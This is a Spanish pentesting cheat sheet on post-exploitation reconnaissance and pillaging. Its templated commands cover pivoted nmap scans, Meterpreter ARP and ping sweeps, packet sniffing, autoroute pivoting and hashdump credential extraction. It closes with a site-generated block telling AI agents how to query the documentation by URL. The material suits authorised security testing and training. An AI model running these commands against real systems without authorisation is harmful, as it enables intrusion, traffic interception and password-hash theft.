# Pillaging

## Nmap

```shell
proxychains nmap -sT -open -n -Pn <CIDR> --top-ports 25
```

## Metasploit

### ARP <a href="#metasploit-arp" id="metasploit-arp"></a>

```shell
# Desde sesión de meterpreter
run arp_scanner -r <CIDR>
```

```shell
use post/windows/gather/arp_scanner
set RHOSTS <CIDR>
set SESSION <id-session>
run
```

### Interfaces de red <a href="#metasploit-ping-sweep" id="metasploit-ping-sweep"></a>

```shell
# Desde sesión de meterpreter
ifconfig
```

### Tabla de enrutamiento

```shell
# Desde sesión de meterpreter
route
```

### Servicios de red

#### Linux/Unix

```shell
netstat -antupo
```

* -a = todos los sockets.
* -n = hosts, puertos y usuarios en formato numérico.
* -t = TCP.
* -u = UDP.
* -p = PID (Process Identification Number) y nombre del programa.
* -o = timer.

#### Windows

```shell
netstat -ano -p <protocolo>
```

* -a = todos los sockets.
* -n = hosts y puertos en formato numérico.
* -o = PID (Process Identification Number).
* -p = TCP, UDP, TCPv6 o UDPv6.

### Ping sweep <a href="#metasploit-ping-sweep" id="metasploit-ping-sweep"></a>

```shell
use post/multi/gather/ping_sweep
set RHOSTS <CIDR>
set SESSION <id-session>
run
```

### Sniffing

```shell
# Desde sesión de meterpreter
use sniffer
sniffer_interfaces
sniffer_start <id-interface>
sniffer_dump <id-interface> /<path>/<name.pcap>
sniffer_stop <id-interface>
```

### Escaneo de puertos

```shell
# Tabla de enrutamiento
# Incorporación manual
route add <subnet> <netmask> <id-session>
# Desde sesión de meterpreter
run autoroute -s <CIDR>

# Metasploit
use auxiliary/scanner/portscan/tcp
set RHOSTS <CIDR>
set THREADS 10
set PORTS <ports>
run
```

### Aplicaciones

```shell
# Windows
use post/windows/gather/enum_applications
set SESSION <id-session>
run
```

### Enumeración automatizada

```shell
# Linux/Unix
use post/linux/gather/enum_system
set SESSION <id-session>
run

# Windowsh
# Desde sesión de meterpreter
run winenum
```

### Hashdump

```shell
# Linux/Unix
use post/linux/gather/hashdump
set SESSION <id-session>
run

# Windows
# Desde sesión de meterpreter
hashdump
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentesting.mrw0l05zyn.cl/post-explotacion/escaneo-y-enumeracion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
